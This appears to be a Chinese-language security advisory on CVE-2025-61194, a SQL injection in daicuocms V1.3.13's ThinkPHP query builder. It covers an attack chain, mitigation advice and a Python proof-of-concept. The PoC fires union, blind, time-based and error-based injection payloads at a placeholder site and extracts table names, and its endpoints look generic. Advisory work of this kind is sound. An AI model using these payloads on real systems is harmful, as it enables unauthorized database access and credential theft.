IPBUF安全漏洞报告
English
CVE-2025-61194 CVSS 6.5 中危

daicuocms V1.3.13 Builder.php SQL注入漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-61194
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
daicuocms

相关标签

SQL注入daicuocmsThinkPHPBuilder.phpCVE-2025-61194中危漏洞Web应用CMS数据库安全

漏洞概述

CVE-2025-61194是daicuocms内容管理系统V1.3.13版本中存在的一个SQL注入漏洞。该漏洞位于系统的核心数据库构建文件library\think\db\Builder.php中,属于ThinkPHP框架的数据库查询构建器组件。由于该组件在处理用户输入参数时未进行充分的过滤和参数化处理,攻击者可以通过构造恶意的SQL语句片段,将其注入到正常的数据库查询中,从而绕过应用程序的安全防护机制。

该漏洞的CVSS 3.1评分为6.5分,属于中等严重等级。从攻击向量来看,攻击者可以通过网络远程发起攻击,无需任何身份认证(PR:N),也无需用户交互(UI:N),攻击复杂度较低(AC:L)。漏洞的成功利用将对系统的机密性和完整性产生低级别影响(C:L/I:L),但不会影响系统的可用性(A:N)。

daicuocms作为一款内容管理系统,通常用于搭建企业网站、博客、新闻门户等Web应用。由于SQL注入漏洞位于核心数据库构建层,影响范围可能涉及系统的大部分数据操作功能,包括但不限于用户管理、内容发布、权限控制等模块。攻击者利用此漏洞可以读取数据库中的敏感信息(如管理员凭据、用户个人信息),甚至可能通过UNION查询或堆叠注入等方式修改或删除数据库中的数据,对网站的数据安全构成严重威胁。

技术细节

该SQL注入漏洞的根本原因在于daicuocms V1.3.13所使用的ThinkPHP框架的数据库查询构建器(Builder.php)在解析和组装SQL语句时,未对用户可控的输入参数进行严格的类型检查和安全过滤。具体而言,Builder.php中的parseWhere、parseOrder、parseLimit等方法在处理条件表达式时,直接将外部传入的参数拼接到SQL语句中,而未采用预编译参数绑定(Prepared Statement)或充分的输入验证机制。

攻击者可以通过以下方式利用该漏洞:
1. 识别系统中接受用户输入并将其传递给数据库查询的入口点(如搜索功能、URL参数、表单提交等)。
2. 构造包含恶意SQL片段的payload,例如使用单引号闭合原始查询字符串,然后追加UNION SELECT语句或布尔盲注条件。
3. 通过HTTP请求将恶意payload发送到目标服务器,由于Builder.php未对输入进行转义或参数化处理,恶意SQL代码将直接拼接到最终执行的SQL语句中。
4. 根据注入点的不同,攻击者可以采用联合查询注入、布尔盲注、时间盲注或报错注入等多种技术提取数据库信息。

由于漏洞位于框架核心层(library\think\db\Builder.php),而非某个具体业务模块,因此漏洞的触发面较广,任何调用了该构建器的数据库操作都可能受到影响。攻击者一旦成功利用该漏洞,便可绕过应用层的访问控制,直接与数据库进行交互,获取或篡改存储的数据。

攻击链分析

STEP 1
信息收集
攻击者通过搜索引擎或指纹识别工具确认目标网站使用daicuocms V1.3.13版本,并识别其基于ThinkPHP框架。
STEP 2
注入点探测
攻击者扫描网站中接受用户输入的参数(如搜索框、URL参数、表单字段等),测试是否存在SQL注入漏洞。
STEP 3
漏洞确认
通过构造包含单引号、UNION SELECT、AND 1=1/1=2等测试payload,确认Builder.php中的SQL注入点。
STEP 4
数据提取
利用确认的注入点,通过UNION查询或盲注技术提取数据库中的敏感信息,包括管理员账号、密码哈希等。
STEP 5
权限提升与数据篡改
获取管理员凭据后登录后台,或直接通过SQL注入修改数据库内容,实现数据窃取或网站篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61194 - daicuocms V1.3.13 SQL Injection PoC # Target file: library\think\db\Builder.php # Vulnerability: Unparameterized SQL query construction import requests TARGET_URL = "http://target-daicuocms-site.com" # Example 1: Basic SQL Injection via search parameter # The Builder.php fails to sanitize user input before constructing SQL queries payload_1 = { "keyword": "test' UNION SELECT 1,user(),database(),4,5,6-- " } response_1 = requests.get(f"{TARGET_URL}/index.php?s=search/index", params=payload_1) print("[*] Union-based injection response:") print(response_1.text[:500]) # Example 2: Boolean-based blind SQL injection # Test if the injection works by checking response differences def check_injection(url, param_name, param_value): # Normal request normal_resp = requests.get(url, params={param_name: param_value}) # Injection request with TRUE condition true_resp = requests.get(url, params={param_name: f"{param_value}' AND 1=1-- "}) # Injection request with FALSE condition false_resp = requests.get(url, params={param_name: f"{param_value}' AND 1=2-- "}) if true_resp.text != false_resp.text and true_resp.text == normal_resp.text: print(f"[+] SQL Injection confirmed at parameter: {param_name}") return True return False # Example 3: Time-based blind SQL injection import time def time_based_injection(url, param_name, param_value): start_time = time.time() payload = f"{param_value}' AND SLEEP(5)-- " requests.get(url, params={param_name: payload}) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based SQL Injection confirmed! Delay: {elapsed:.2f}s") return True return False # Example 4: Extracting database version via error-based injection payload_error = { "id": "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))-- " } response_error = requests.get(f"{TARGET_URL}/index.php?s=article/detail", params=payload_error) print("[*] Error-based injection response:") print(response_error.text[:500]) # Example 5: Extracting table names payload_tables = { "keyword": "test' UNION SELECT group_concat(table_name),2,3,4,5 FROM information_schema.tables WHERE table_schema=database()-- " } response_tables = requests.get(f"{TARGET_URL}/index.php?s=search/index", params=payload_tables) print("[*] Table extraction response:") print(response_tables.text[:500])

影响范围

daicuocms V1.3.13

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)在Web服务器或反向代理层面部署WAF规则,过滤常见的SQL注入特征(如UNION SELECT、SLEEP、information_schema等关键字);2)对Builder.php中涉及用户输入的方法进行代码审查,临时添加输入过滤逻辑;3)限制数据库账户权限,禁止其访问information_schema等系统表;4)关闭网站的搜索、查询等可能暴露注入点的功能,或对这些功能进行严格的输入校验;5)加强日志监控,及时发现和响应异常数据库访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表